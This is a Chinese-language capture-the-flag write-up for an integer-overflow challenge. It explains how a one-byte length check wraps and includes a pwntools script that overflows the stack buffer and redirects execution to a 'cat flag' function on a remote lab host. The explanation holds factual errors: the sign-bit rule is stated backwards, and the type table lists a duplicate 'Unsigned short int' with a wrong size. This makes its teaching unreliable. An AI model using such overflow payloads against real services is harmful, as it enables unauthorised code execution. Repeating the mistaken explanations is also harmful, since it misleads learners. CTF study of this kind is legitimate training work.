題目分析
checksec檢查文件保護機制
ida分析程序
經典整數溢出漏洞示例
整數溢出原理整數分為有符號和無符號兩種類型,有符號數以最高位作為其符號位,即正整數最高位為1,負數為0,
無符號數取值范圍為非負數,常見各類型占用字節數如下:
類型 占用字節數 取值范圍
Int 4 -2147483648~2147483647
Short int 2 -32768~32767
Long int 4 -2147483648~2147483647
Unsigned int 4 0~4294967295
Unsigned short int 2 0~65535
Unsigned short int 4 0~4294967295
對於unsigned short int類型的兩個變量var1、var2假定取值var1 = 1,var2 = 65537
也就是說,對於一個2字節的Unsigned short int型變量,它的有效數據長度為兩個字節,當它的數據長度超過兩個字節時,
就溢出,溢出的部分則直接忽略,使用相關變量時,使用的數據僅為最后2個字節,
因此就會出現65537等於1的情況,其他類型變量和數值與之類似
信息收集
char dest; // [sp+4h] [bp-14h]@3
unsigned __int8 v3; // [sp+Fh] [bp-9h]@1
0x14+4為偏移量,4個大小是需要覆蓋的ebp的地址
0x804868b為cat flag地址
"A"*(256-0x18-4)+"a"*4是為了讓v3溢出
編寫腳本
from pwn import *
p = remote('111.198.29.45',41419)
#p = process("./pwn005")
payload = "A"*0x14+"B"*4+p32(0x804868b)+"A"*(256-0x18-4)+"a"*4
p.sendlineafter("Your choice:","1")
p.sendlineafter("Please input your username:","root")
p.sendlineafter("Please input your passwd:",payload)
p.interactive()
本地測試
靶機測試
原理(來自大佬的wp)
進入login函數:接受了一個最大長度為0x199的password
進入check_passwd函數:用一個一字節,8bit的變量存儲password的長度,
之后存在一個字符串拷貝,拷貝目的地在棧中,長度為14h,及0x14,十進制20,
結合前面溢出原理分析,0x199(十進制409)的長度遠大於1字節,
也就是說,這里存在證書溢出,password字符串的長度可以是3- 8個字符,也可以是259-264個字符
可以在字符串拷貝過程中,輸入0x14個字符之后,就可以覆蓋函數返回地址了,具體是不是0x14個字符,
在字符串拷貝之前,先把拷貝的源地址和目的地址壓入堆棧,這里似乎沒有任何問題,
查看整個函數的匯編代碼,就會發現,在函數最開始,壓入了ebp變量,在函數結尾,存在一條leave指令,
而在32位程序中,leave指令等於mov esp,ebp和pop ebp兩條指令的組合,
也就是說,在覆蓋函數放回地址之前,還有一次出棧操作,出棧數據大小4字節,
即覆蓋之前還需將這4字節覆蓋了,才能實現跳轉指向what_is_this函數,
編寫利用腳本如下:259-264之間隨機選擇一個數,
這里取262,264-0x14-4- 4=234